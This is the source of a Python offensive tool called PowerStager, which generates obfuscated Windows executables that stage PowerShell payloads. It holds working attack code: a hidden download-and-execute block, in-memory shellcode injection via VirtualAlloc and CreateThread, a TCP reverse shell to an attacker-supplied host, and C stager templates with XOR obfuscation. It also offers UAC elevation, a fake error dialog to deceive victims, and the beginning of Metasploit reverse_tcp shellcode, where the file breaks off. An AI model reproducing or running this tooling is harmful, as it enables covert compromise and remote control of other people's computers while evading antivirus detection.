#!/usr/bin/env python3
import os
import sys
import getopt
import glob
import socket
import fcntl
import errno
import string
import re
import random
import base64
import time
import datetime
import urllib
import hashlib
import readline
import signal
import names

#*
# TODO :: 
# Add persistence for reverse-shell
#*

# Help notes and description
help_notes = """
  PowerStager 0.2.5
  ---------------
  Created by: z0noxz
  https://github.com/z0noxz/powerstager

  Description:
  This script creates an executable stager that downloads a selected powershell
  payload, loads it into memory and executes it using obfuscated EC methods.
  The script will also bxor the stager for dynamic signatures and some
  additional obfuscation.

  This enables the actual payload to be executed indirectly without the victim
  downloading it, only by executing the stager. The attacker can then for
  example implement evasion techniques on the web server, hosting the payload,
  instead of in the stager itself.

  Additional methods allows the payload to be embedded into the 'stager' and
  temporarily stored encrypted on disk for memory injection.

  Not only are powershell powerful when managing Windows, it's also powerful
  when exploiting Windows. This script exploits multiple Windows features such
  as its inherit trust of powershell, interpretation of shorthand syntaxes,
  code evaluation and more...

  Program dependencies:
  * i686-w64-mingw32-gcc        ([_CHECK_i686_])
  * x86_64-w64-mingw32-gcc      ([_CHECK_x86_64_])
  * i686-w64-mingw32-windres    ([_CHECK_i686_WINDRES_])
  * x86_64-w64-mingw32-windres  ([_CHECK_x86_64_WINDRES_])

  Usage: powerstager [options]

  Options:
    -h, --help                  Show this help message and exit. (duh)

    Method:
    \033[3mOne of these options has to be provided to define the method\033[0m
      -u, --url=URL             Payload URL for online staging
      -p, --path=PATH           Payload path for embedded staging
      -r, --reverse-shell       embedded reverse shell (use netcat or --listener)
                                \033[96m--listener will provide more features\033[0m
      -m, --meterpreter         embedded meterpreter staging (reverse_tcp)
                                \033[96m--path and --meterpreter will dump\033[0m
                                \033[96mthe payload to disk temporary\033[0m

    Mandatory:
      -o, --output=PATH         File output for generated executable
      -t, --target=NAME         Platform target win32/win64

    Reverse Shell:
    \033[3mMandatory options if the reverse-shell method is selected\033[0m
      --lhost=LHOST             Listener host IP address (e.g. 13.37.13.37)
      --lport=LPORT             Listener port (e.g. 4444)

    Meterpreter:
    \033[3mMandatory options if the meterpreter method is selected\033[0m
      --lhost=LHOST             Listener host IP address (e.g. 13.37.13.37)
      --lport=LPORT             Listener port (e.g. 4444)

    Optional:
      --listener                Automatically starts a listener (reverse-shell)
      --obfuscation             Adds an extra layer of obfuscation
      --icon                    Adds an application icon to the executable
      --source-only             Skip compiling and only output c source
      --fake-error="T::C"       Show fake error after execution. Leave blank for default
      -g, --generate            Only outputs the --url ready payload
      -e, --use-elevation       Implementation of privilage elevation (using UAC)
                                \033[96melevation only works with --url\033[0m

  Note:
  \033[91mAll powershell activity will be logged in Windows event log.\033[0m

  Listener Commands:
  \033[3mAll listener commands start with 'Local-'. Listener also features autocomplete using <tab>\033[0m
  \033[3mApart from listener commands exit and clear can also be called\033[0m

  \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Invoke\033[0m
      \033[3mInvokes powershell script files from host\033[0m

  \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Import-Module\033[0m
      \033[3mImports powershell modules from host\033[0m

  \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Set-Width\033[0m
      \033[3mChanges the buffer width on remote client\033[0m

  \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Upload\033[0m
      \033[3mUploads files from host\033[0m

  \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Download\033[0m
      \033[3mDownloads files from client\033[0m

  \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Download-Commands\033[0m
      \033[3mDownloads available powershell commands from client\033[0m

  \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Enumerate-System\033[0m
      \033[3mRuns enumeration scripts on client\033[0m

  \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Check-Status\033[0m
      \033[3mCollects user and privilage status from client\033[0m

  \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Spawn-Meterpreter\033[0m
      \033[3mSpawns meterpreter shells on client\033[0m

  \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Spawn-Reverse-Shell\033[0m
      \033[3mSpawns reverse shells on client\033[0m

  \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Credential-Create\033[0m
      \033[3mCreates credentials on client\033[0m

  \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Credential-List\033[0m
      \033[3mLists created credentials on client\033[0m
"""

windres_manifest_elevation = """
    <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
        <security>
            <requestedPrivileges>
                <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
            </requestedPrivileges>
        </security>
    </trustInfo>
"""

windres_manifest = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
    <assemblyIdentity version="1.0.0.0" processorArchitecture="[_RC_ARCHITECTURE_]" name="[_RC_APPLICATION_NAME_]" type="win32"/>
	[_RC_ELEVATION_]
</assembly>
"""

windres_resource = """#include <windows.h>
[_RC_ICON_]

1 24 "[_RC_MANIFEST_FILE_]"
1 VERSIONINFO
FILEVERSION     1,0,0,0
PRODUCTVERSION  1,0,0,0
BEGIN
  BLOCK "StringFileInfo"
  BEGIN
    BLOCK "040904E4"
    BEGIN
      VALUE "CompanyName"		, "[_RC_COMPANY_NAME_]"
      VALUE "FileDescription"	, "[_RC_DESCRIPTION_]"
      VALUE "FileVersion"		, "1.0"
      VALUE "InternalName"		, "[_RC_INTERNAL_NAME_]"
      VALUE "LegalCopyright"	, "[_RC_LEGAL_NAME_]"
      VALUE "OriginalFilename"	, "[_RC_OUTPUT_NAME_]"
      VALUE "ProductName"		, "[_RC_APPLICATION_NAME_]"
      VALUE "ProductVersion"	, "1.0"
    END
  END
  BLOCK "VarFileInfo"
  BEGIN
    VALUE "Translation", 0x409, 1252
  END
END
"""

class Utility(object):

	# Collision list for dynamic variable creation
	collision_list = []
	configuration = {}
	
	@staticmethod
	def remove_encapsulating_quotes(text):
			
		# Primary path strip
		text = text.strip()

		# Remove unwanted quotes
		if text.startswith('"') and text.endswith('"'):
			text = text[1:-1]
		if text.startswith("'") and text.endswith("'"):
			text = text[1:-1]

		# Secondary path strip
		return text.strip()


	@staticmethod
	def get_terminal_width():
		rows, columns = os.popen("stty size", "r").read().split()
		return int(columns)


	# Powershell ready base64 encoder
	@staticmethod
	def ps_base64encode(data):
		return base64.b64encode(data.encode("UTF-16LE")).decode("utf-8", "ignore")


	# Creates dynamic variable names while checking for name collisions
	@staticmethod
	def dynamic_variable():

		holder = ""

		while holder == "" or holder in Utility.collision_list or holder[0].isdigit():
		#	holder = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(random.randint(6, 12)))
			holder = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(12))

		Utility.collision_list.append(holder)
		return holder


	# Checks if program is installed and executable
	@staticmethod
	def which(program):

		def is_exe(fpath):
			return os.path.isfile(fpath) and os.access(fpath, os.X_OK)

		fpath, fname = os.path.split(program)
		if fpath:
			if is_exe(program):
				return program
		else:
			for path in os.environ["PATH"].split(os.pathsep):
				path = path.strip('"')
				exe_file = os.path.join(path, program)
				if is_exe(exe_file):
					return exe_file

		return None
	
	
	# Replaces nth occurrence (maybe overkill as the only call is for first occurrence)
	@staticmethod
	def replace_nth(subject, source, target, n):
		indices = [index for index in range(len(subject) - len(source) + 1) if subject[index:index + len(source)] == source]
		if len(indices) < n:
			return subject
		subject = list(subject)
		subject[indices[n - 1]:indices[n - 1] + len(source)] = target
		return "".join(subject)


	# Integer to binary converter
	@staticmethod
	def binary_array_string(n):
		if (n == 0):
			yield 0
		else:
			while n:
				yield n & 0xff
				n = n >> 8
	
	
	@staticmethod
	def local_address_to_binary_array_string(lhost, lport):
		try:
			lhost = lhost.split(".")
			lhost = [int(byte) for byte in lhost]
			lhost = [byte for byte in lhost if byte >= 0 and byte <= 255]
			lport = int(lport)
			if len(lhost) == 4 and lport > 0 and lport <= 65535:
				return (",".join(hex(b) for b in list(Utility.binary_array_string(lport))[::-1]), (",".join(hex(b) for b in (list(Utility.binary_array_string(lhost[0])) + list(Utility.binary_array_string(lhost[1])) + list(Utility.binary_array_string(lhost[2])) + list(Utility.binary_array_string(lhost[3]))))))
		except:
			Print.error("There is something wrong with the LHOST and LPORT")
		sys.exit(2)
						
	
	@staticmethod
	def replace_all(string, target, replacement):

		target		= list(target)
		replacement	= list(replacement)
						
		for i in range(len(target)):
			if (i > (len(replacement) - 1)):
				break
			string = string.replace(target[i], replacement[i])
						
		return string

	@staticmethod
	def load_configuration(configuration):
		Utility.configuration = configuration


	@staticmethod
	def get_configuration_value(name):
		return Utility.configuration[name] if name in Utility.configuration else None


	@staticmethod
	def enum(**enums):
		return type("Enum", (), enums)


	@staticmethod
	def is_url(url):
		return bool(urllib.parse.urlparse(url).scheme)
	

	@staticmethod
	def is_ipv4_address(address):
		try:
			socket.inet_pton(socket.AF_INET, address)
		except AttributeError:
			try:
				socket.inet_aton(address)
			except socket.error:
				return False
			return [x for x in address.split(".") if (len(x) > 0 and x.isdigit() and int(x) >= 0 and int(x) <= 255)] == 4
		except socket.error:
			return False

		return True


# Class for printing and styling text to terminal
class Print(object):

	name_value_list = []

	@staticmethod
	def text(text="", continuous=False):
		if continuous:
			sys.stdout.write("  " + text)
			sys.stdout.flush()
		else:
			print("  " + text)
		return len(text)

	@staticmethod
	def info(text="", continuous=False):
		return Print.text("\033[94m[i]\033[0m " + text, continuous)

	@staticmethod
	def warning(text="", continuous=False):
		return Print.text("\033[96m[!]\033[0m " + text, continuous)

	@staticmethod
	def status(text="", continuous=False):
		return Print.text("\033[94m[*]\033[0m " + text, continuous)

	@staticmethod
	def error(text="", continuous=False):
		return Print.text("\033[91m[-]\033[0m " + text, continuous)

	@staticmethod
	def success(text="", continuous=False):
		return Print.text("\033[92m[+]\033[0m " + text, continuous)
	
	@staticmethod
	def wipe(count=48, back=False):
		return (("\b" * count) if back else "") + (" " * count) + ("\b" * count)

	@staticmethod
	def confirm(text="", yes_is_default=True):
		while True:
			try:
				if yes_is_default:
					return not (input("  \033[38;5;133m[?] " + text + " (Y/n): \033[0m").strip()).lower() in ["n", "no"]
				else:
					return (input("  \033[38;5;133m[?] " + text + " (y/N): \033[0m").strip()).lower() in ["y", "yes"]

			# Catch keyboard interrupt
			except KeyboardInterrupt:
				pass
	
	@staticmethod
	def size(size):
		for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]:
			if abs(size) < 1024.0:
				return "%3.1f %s" % (size, (unit + "B"))
			size /= 1024.0
		return "%.1f%s%s" % (size, "Yi", suffix)
	
	@staticmethod
	def ETA(start, part, total):
		elapsed = (time.time() - start)
		speed = (part / elapsed)		
		eta = ((total - part) / speed)
		
		return "ETA: " + str(datetime.timedelta(seconds=int(eta)))

	@staticmethod
	def add_name_value(name="", value="", func=None):
		Print.name_value_list.append({"name": name, "value": value, "func": func})

	@staticmethod
	def name_value_print():
		for line in Print.name_value_list:
			(line["func"] if line["func"] is not None else Print.text)(line["name"] + (" " * (len(max(Print.name_value_list, key=lambda x: len(x["name"]))["name"]) - len(line["name"]) + 4)) + ": " + line["value"])
		Print.name_value_list = []


obfuscation_type = Utility.enum(
	COMMAND				= 1, 
	ARGUMENT			= 2, 
	MEMBER 				= 3,
	TYPE				= 4,
)


os_target = Utility.enum(
	WIN32				= 32, 
	WIN64				= 64,
)


conf_name = Utility.enum(
	URL					= "url",
	PATH				= "path",
	OUTPUT				= "output",
	TARGET				= "target",
	OBFUSCATION			= "obfuscation",
	REVERSE_SHELL		= "reverse_shell",
	METERPRETER			= "meterpreter",
	ICON				= "icon",
	LHOST				= "lhost",
	LPORT				= "lport",
	LISTENER			= "listener",
	GENERATE			= "generate",
	FAKE_ERROR			= "fake-error",
	SOURCE_ONLY			= "source-only",
	ELEVATION			= "use-elevation",
)


powershell_block = Utility.enum(
	MAIN				= "main",
	BASE64_DECODER		= "base64_decoder",
	XOR_DECRYPTOR		= "xor_decryptor",	
	WEB_CLIENT			= "web_client",
	ENCODED_COMMAND		= "encoded_command",
	MEMORY_INJECTION	= "memory_injection",
	REVERSE_SHELL		= "reverse_shell",
)


shellcode = Utility.enum(
	REVERSE_TCP_64			= "reverse_tcp_64",
	REVERSE_TCP_32			= "reverse_tcp_32",
)

# Placeholder values for powershell blocks with obfuscation techniques
obfuscation = {

	"[_OBF_NEW_OBJECT_]"			: {
										"text"			: "new-object",
										"type"			: obfuscation_type.COMMAND,
									},
	"[_OBF_ADD_TYPE_]"				: {
										"text"			: "add-type",
										"type"			: obfuscation_type.COMMAND,
									},
	"[_OBF_SLEEP_]"					: {
										"text"			: ["start-sleep"],				#["sleep", "start-sleep"],  ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012
										"type"			: obfuscation_type.COMMAND,
									},
	"[_OBF_GET_ITEM_]"				: {
										"text"			: ["get-item"],					#["gi", "get-item"],  ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012
										"type"			: obfuscation_type.COMMAND,
									},
	"[_OBF_START_]"					: {
										"text"			: ["start-process"],			#["start", "start-process"],  ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012
										"type"			: obfuscation_type.COMMAND,
									},
	"[_OBF_INVOKE_EXPRESSION_]"		: {
										"text"			: ["invoke-expression"],		#["iex", "invoke-expression"],  ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012
										"type"			: obfuscation_type.COMMAND,
									},
	"[_OBF_SV_]"					: {
										"text"			: ["set-variable"],				#["sv", "set-variable"],  ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012
										"type"			: obfuscation_type.COMMAND,
									},
	"[_OBF_GV_]"					: {
										"text"			: ["get-variable"],				#["gv", "get-variable"],  ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012
										"type"			: obfuscation_type.COMMAND,
									},
	"[_OBF_INVOKE_COMMAND_]"		: {
										"text"			: "invokecommand",
										"type"			: obfuscation_type.ARGUMENT,
									},
	"[_OBF_UNICODE_]"				: {
										"text"			: "unicode",
										"type"			: obfuscation_type.ARGUMENT,
									},
	"[_OBF_LENGTH_]"				: {
										"text"			: "length",
										"type"			: obfuscation_type.ARGUMENT,
									},
	"[_OBF_VALUE_]"					: {
										"text"			: "value",
										"type"			: obfuscation_type.ARGUMENT,
									},
	"[_OBF_WEB_CLIENT_]"			: {
										"text"			: "net.webclient",
										"type"			: obfuscation_type.ARGUMENT,
									},
	"[_OBF_TEXT_ENCODING_]"			: {
										"text"			: "text.encoding",
										"type"			: obfuscation_type.ARGUMENT,
									},
	"[_OBF_TEXT_ASCII_]"			: {
										"text"			: "text.asciiencoding",
										"type"			: obfuscation_type.ARGUMENT,
									},
	"[_OBF_TEXT_UNICODE_]"			: {
										"text"			: "text.unicodeencoding",
										"type"			: obfuscation_type.ARGUMENT,
									},
	"[_OBF_TCP_CLIENT_]"			: {
										"text"			: "net.sockets.tcpclient",
										"type"			: obfuscation_type.ARGUMENT,
									},
	"[_OBF_DOWNLOAD_STRING_]"		: {
										"text"			: "downloadstring",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_GET_STREAM_]"			: {
										"text"			: "getstream",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_TOINT16_]"				: {
										"text"			: "toint16",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_INVOKE_SCRIPT_]"			: {
										"text"			: "invokescript",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_GET_BYTES_]"				: {
										"text"			: "getbytes",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_GET_STRING_]"			: {
										"text"			: "getstring",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_GET_ENCODING_]"			: {
										"text"			: "getencoding",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_WRITE_]"					: {
										"text"			: "write",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_CLEAR_]"					: {
										"text"			: "clear",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_FLUSH_]"					: {
										"text"			: "flush",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_CLOSE_]"					: {
										"text"			: "close",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_TO_STRING_]"				: {
										"text"			: "tostring",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_TO_B64_STRING_]"			: {
										"text"			: "tobase64string",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_VIRTUAL_ALLOC_]"			: {
										"text"			: "virtualalloc",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_MAX_]"					: {
										"text"			: "max",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_MEMSET_]"				: {
										"text"			: "memset",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_CREATE_THREAD_]"			: {
										"text"			: "createthread",
										"type"			: obfuscation_type.MEMBER,
									},
	"[_OBF_CHAR_]"					: {
										"text"			: "char",
										"type"			: obfuscation_type.TYPE,
									},
	"[_OBF_BYTE_]"					: {
										"text"			: "byte",
										"type"			: obfuscation_type.TYPE,
									},
	"[_OBF_VOID_]"					: {
										"text"			: "void",
										"type"			: obfuscation_type.TYPE,
									},
	"[_OBF_INTPTR_]"				: {
										"text"			: "intptr",
										"type"			: obfuscation_type.TYPE,
									},
	"[_OBF_CONVERT_]"				: {
										"text"			: "convert",
										"type"			: obfuscation_type.TYPE,
									},
	"[_OBF_NONINTERACTIVE_]"		: {
										"text"			: [[x[:i] for i in range(4,len(x)+1)] for x in ["noninteractive"]][0],
										"type"			: None,
									},
	"[_OBF_NOLOGO_]"				: {
										"text"			: [[x[:i] for i in range(3,len(x)+1)] for x in ["nologo"]][0],
										"type"			: None,
									},
	"[_OBF_NOPROFILE_]"				: {
										"text"			: [[x[:i] for i in range(3,len(x)+1)] for x in ["noprofile"]][0],
										"type"			: None,
									},
	"[_OBF_WINDOWSTYLE_]"			: {
										"text"			: [[x[:i] for i in range(1,len(x)+1)] for x in ["windowstyle"]][0],
										"type"			: None,
									},
	"[_OBF_EXECUTIONPOLICY_]"		: {
										"text"			: [[x[:i] for i in range(2,len(x)+1)] for x in ["executionpolicy"]][0],
										"type"			: None,
									},
	"[_OBF_ARGUMENTLIST_]"			: {
										"text"			: [[x[:i] for i in range(1,len(x)+1)] for x in ["argumentlist"]][0],
										"type"			: None,
									},
	"[_OBF_COMMAND_]"				: {
										"text"			: [[x[:i] for i in range(1,len(x)+1)] for x in ["command"]][0],
										"type"			: None,
									},
	"[_OBF_JOIN_]"					: {
										"text"			: "join",
										"type"			: None,
									},
	"[_OBF_VERB_]"					: {
										"text"			: "verb",
										"type"			: None,
									},
	"[_OBF_PASSTHRU_]"				: {
										"text"			: "passthru",
										"type"			: None,
									},
	"[_OBF_NONEWWINDOW_]"			: {
										"text"			: "nonewwindow",
										"type"			: None,
									},
	"[_OBF_SPLIT_]"					: {
										"text"			: "split",
										"type"			: None,
									},
	"[_OBF_BXOR_]"					: {
										"text"			: "bxor",
										"type"			: None,
									},
	"[_OBF_HIDDEN_]"				: {
										"text"			: "hidden",
										"type"			: None,
									},
	"[_OBF_RUNAS_]"					: {
										"text"			: "runas",
										"type"			: None,
									},
	"[_OBF_BYPASS_]"				: {
										"text"			: "bypass",
										"type"			: None,
									},
	"[_OBF_EXECUTIONCONTEXT_]"		: {
										"text"			: "executioncontext",
										"type"			: None,
									},
	"[_OBF_AS_]"					: {
										"text"			: "as",
										"type"			: None,
									},
	"[_OBF_POWERSHELL_]"			: {
										"text"			: "powershell",
										"type"			: None,
									},
	"[_OBF_CMD_]"					: {
										"text"			: "cmd",
										"type"			: None,
									},
}

c_source_mb = """
	MessageBox(NULL,\"[_VAL_MB_CONTENT_]\",\"[_VAL_MB_TITLE_]\",MB_ICONERROR|MB_OK);
	return 1;
"""

# Normal C source for decryption and process execution through system() call
c_source = """#include <stdlib.h>
#include <windows.h>

int WINAPI WinMain(
	HINSTANCE	hInstance,
	HINSTANCE	hPrevInstance,
	LPTSTR		lpCmdLine,
	int			cmdShow
	)
{
	STARTUPINFO [_VAR_SI_];
	PROCESS_INFORMATION [_VAR_PI_];

	memset(&[_VAR_SI_], 0, sizeof([_VAR_SI_]));
	[_VAR_SI_].cb = sizeof(STARTUPINFO);
	[_VAR_SI_].dwFlags = STARTF_USESHOWWINDOW;
	[_VAR_SI_].wShowWindow = SW_HIDE;

	int [_VAR_X_];
	char [_VAR_STR_][] = {[_VAL_STR_]};
	char [_VAR_KEY_][] = {[_VAL_KEY_]};
	for ([_VAR_X_] = 0; [_VAR_X_] < sizeof([_VAR_STR_]) / sizeof([_VAR_STR_][0]); [_VAR_X_]++)
	{
		[_VAR_STR_][[_VAR_X_]] = [_VAR_STR_][[_VAR_X_]] ^ [_VAR_KEY_][[_VAR_X_] % sizeof([_VAR_KEY_])];
	}

	CreateProcess(
		NULL, 
		[_VAR_STR_], 
		NULL, 
		NULL, 
		FALSE, 
		CREATE_NO_WINDOW, 
		NULL, 
		NULL, 
		&[_VAR_SI_], 
		&[_VAR_PI_]
	);
	
	[_MB_]
}
"""

# C source for XOR decryption and process execution of embedded code through system() call
c_source_embedded = """#define _CRT_SECURE_NO_DEPRECATE
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int WINAPI WinMain(
	HINSTANCE	hInstance,
	HINSTANCE	hPrevInstance,
	LPTSTR		lpCmdLine,
	int			cmdShow
	)
{
	STARTUPINFO [_VAR_SI_];
	PROCESS_INFORMATION [_VAR_PI_];

	memset(&[_VAR_SI_], 0, sizeof([_VAR_SI_]));
	[_VAR_SI_].cb = sizeof(STARTUPINFO);
	[_VAR_SI_].dwFlags = STARTF_USESHOWWINDOW;
	[_VAR_SI_].wShowWindow = SW_HIDE;
	
	int [_VAR_X_];
	char [_VAR_PATH_][256];
	const char* [_VAR_TEMP_] = getenv("TEMP");
	snprintf([_VAR_PATH_], 255, "%s\\\\[_TMP_FILENAME_]", [_VAR_TEMP_]);

	FILE *[_VAR_FILE_] = fopen([_VAR_PATH_], "wb");
	if ([_VAR_FILE_] == NULL) { exit(1); }

	char [_VAR_STR_EMB_][] = {[_VAL_STR_EMB_]};
	char [_VAR_KEY_EMB_][] = {[_VAL_KEY_EMB_]};
	for ([_VAR_X_] = 0; [_VAR_X_] < sizeof([_VAR_STR_EMB_]) / sizeof([_VAR_STR_EMB_][0]); [_VAR_X_]++)
	{
		[_VAR_STR_EMB_][[_VAR_X_]] = [_VAR_STR_EMB_][[_VAR_X_]] ^ [_VAR_KEY_EMB_][[_VAR_X_] % sizeof([_VAR_KEY_EMB_])];
	}

	fwrite([_VAR_STR_EMB_], 1, sizeof([_VAR_STR_EMB_]), [_VAR_FILE_]);
	fclose([_VAR_FILE_]);

	char [_VAR_STR_STG_][] = {[_VAL_STR_STG_]};
	char [_VAR_KEY_STG_][] = {[_VAL_KEY_STG_]};
	for ([_VAR_X_] = 0; [_VAR_X_] < sizeof([_VAR_STR_STG_]) / sizeof([_VAR_STR_STG_][0]); [_VAR_X_]++)
	{
		[_VAR_STR_STG_][[_VAR_X_]] = [_VAR_STR_STG_][[_VAR_X_]] ^ [_VAR_KEY_STG_][[_VAR_X_] % sizeof([_VAR_KEY_STG_])];
	}

	CreateProcess(
		NULL, 
		[_VAR_STR_STG_], 
		NULL, 
		NULL, 
		FALSE, 
		CREATE_NO_WINDOW, 
		NULL, 
		NULL, 
		&[_VAR_SI_], 
		&[_VAR_PI_]
	);

	[_MB_]
}
"""

# Fairly obfuscated building blocks for powershell commands
powershell_blocks = {

	# Main
	powershell_block.MAIN
	: "[_OBF_POWERSHELL_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_COMMAND_] \"[_PS_LOAD_]\"",
	
	# Base64 decoder
	powershell_block.BASE64_DECODER
	: "([[_OBF_CONVERT_]]::[_OBF_TO_B64_STRING_]([Text.Encoding]::[_OBF_UNICODE_].[_OBF_GET_BYTES_]([_PS_LOAD_])))",

	# XOR decryptor
	powershell_block.XOR_DECRYPTOR
	: "([[_OBF_CHAR_][]](([[_OBF_CHAR_][]][_PS_LOAD_])|%{$[_PS_XOR_I_]=0}{$_-[_OBF_BXOR_]'[_PS_XOR_KEY_]'[$[_PS_XOR_I_]++%[_PS_XOR_KEY_SIZE_]]})-[_OBF_JOIN_]'')",

	# System.Net.WebClient
	powershell_block.WEB_CLIENT
	: "([_OBF_NEW_OBJECT_] [_OBF_WEB_CLIENT_]).[_OBF_DOWNLOAD_STRING_]([_URL_])",

	# Encoded command
	powershell_block.ENCODED_COMMAND
	: "[_OBF_SV_] [_PS_VAR_1_] [_PS_VAR_C45_A_];[_OBF_SV_] [_PS_VAR_2_] [_PS_VAR_C101_A_];[_OBF_SV_] [_PS_VAR_3_] [_PS_VAR_C99_A_];[_OBF_SV_] [_PS_VAR_4_](((([_OBF_GV_] [_PS_VAR_1_]).[_OBF_VALUE_]+[_PS_VAR_C45_B_])-[_OBF_AS_][[_OBF_CHAR_]]).[_OBF_TO_STRING_]()+((([_OBF_GV_] [_PS_VAR_2_]).[_OBF_VALUE_]+[_PS_VAR_C101_B_])-[_OBF_AS_][[_OBF_CHAR_]]).[_OBF_TO_STRING_]()+((([_OBF_GV_] [_PS_VAR_3_]).[_OBF_VALUE_]+[_PS_VAR_C99_B_])-[_OBF_AS_][[_OBF_CHAR_]]).[_OBF_TO_STRING_]());[_OBF_POWERSHELL_] -[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] ([_OBF_GV_] [_PS_VAR_4_]).[_OBF_VALUE_].[_OBF_TO_STRING_]()[_PS_LOAD_]",

	# Memory injection
	powershell_block.MEMORY_INJECTION
	: "$[_PS_WF_]=[_OBF_ADD_TYPE_] -m '[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\"msvcrt.dll\")] public static extern IntPtr memset(IntPtr dest, uint src, uint count);' -name 'Win32' -ns Win32Functions -pas;[[_OBF_BYTE_][]]$[_PS_VAR_PAYLOAD_]=[_PS_PAYLOAD_];$[_PS_VAR_X_]=$[_PS_WF_]::[_OBF_VIRTUAL_ALLOC_](0,[Math]::[_OBF_MAX_]($[_PS_VAR_PAYLOAD_].[_OBF_LENGTH_],0x1000),0x3000,0x40);for($[_PS_VAR_I_]=0;$[_PS_VAR_I_] -le ($[_PS_VAR_PAYLOAD_].[_OBF_LENGTH_]-1);$[_PS_VAR_I_]++){[[_OBF_VOID_]]$[_PS_WF_]::[_OBF_MEMSET_]([[_OBF_INTPTR_]]($[_PS_VAR_X_].ToInt[_PS_ARCHITECTURE_]()+$[_PS_VAR_I_]),$[_PS_VAR_PAYLOAD_][$[_PS_VAR_I_]],1)};$[_PS_WF_]::[_OBF_CREATE_THREAD_](0,0,$[_PS_VAR_X_],0,0,0);[_OBF_SLEEP_] 100000",

	# Reverse powershell
	powershell_block.REVERSE_SHELL
	: "$[_PS_VAR_ASCII_]=([_OBF_NEW_OBJECT_] [_OBF_TEXT_ASCII_]);$[_PS_VAR_UNICODE_]=[text.encoding]::[_OBF_GET_ENCODING_]('iso-8859-1');$[_PS_VAR_CLIENT_]=[_OBF_NEW_OBJECT_] [_OBF_TCP_CLIENT_]('[_LHOST_]',[_LPORT_]);$[_PS_VAR_STREAM_]=$[_PS_VAR_CLIENT_].[_OBF_GET_STREAM_]();$[_PS_VAR_SEND_]=$[_PS_VAR_UNICODE_].[_OBF_GET_BYTES_](\"Windows PowerShell`nrunning as \"+$env:username+\"@\"+$env:computername+\"`n`nPS \"+(Get-Location).Path+\">\");$[_PS_VAR_STREAM_].[_OBF_WRITE_]($[_PS_VAR_SEND_],0,$[_PS_VAR_SEND_].[_OBF_LENGTH_]);[[_OBF_BYTE_][]]$[_PS_VAR_BYTES_]=0..1024|%{0};while(($[_PS_VAR_I_]=$[_PS_VAR_STREAM_].Read($[_PS_VAR_BYTES_],0,$[_PS_VAR_BYTES_].[_OBF_LENGTH_])) -ne 0){$[_PS_VAR_SEND_]=$[_PS_VAR_UNICODE_].[_OBF_GET_BYTES_]((iex ($[_PS_VAR_UNICODE_].[_OBF_GET_STRING_]($[_PS_VAR_BYTES_],0,$[_PS_VAR_I_])) 2>&1|Out-String)+(&{If($error[0]){(\"exception ::`n\"+($error[0]|Out-String)+\"`n:: exception`n\")}else{''}})+\"PS \"+(Get-Location).Path+\"> \");$error.[_OBF_CLEAR_]();$[_PS_VAR_STREAM_].[_OBF_WRITE_]($[_PS_VAR_SEND_],0,$[_PS_VAR_SEND_].[_OBF_LENGTH_]);$[_PS_VAR_STREAM_].[_OBF_FLUSH_]();}$[_PS_VAR_CLIENT_].[_OBF_CLOSE_]();",
}

# Payloads prepared for memory injection
shellcodes = {
	
	# reverse_tcp stager stager for metasploit.
	shellcode.REVERSE_TCP_64
	: "0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,"
	+ "0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,"
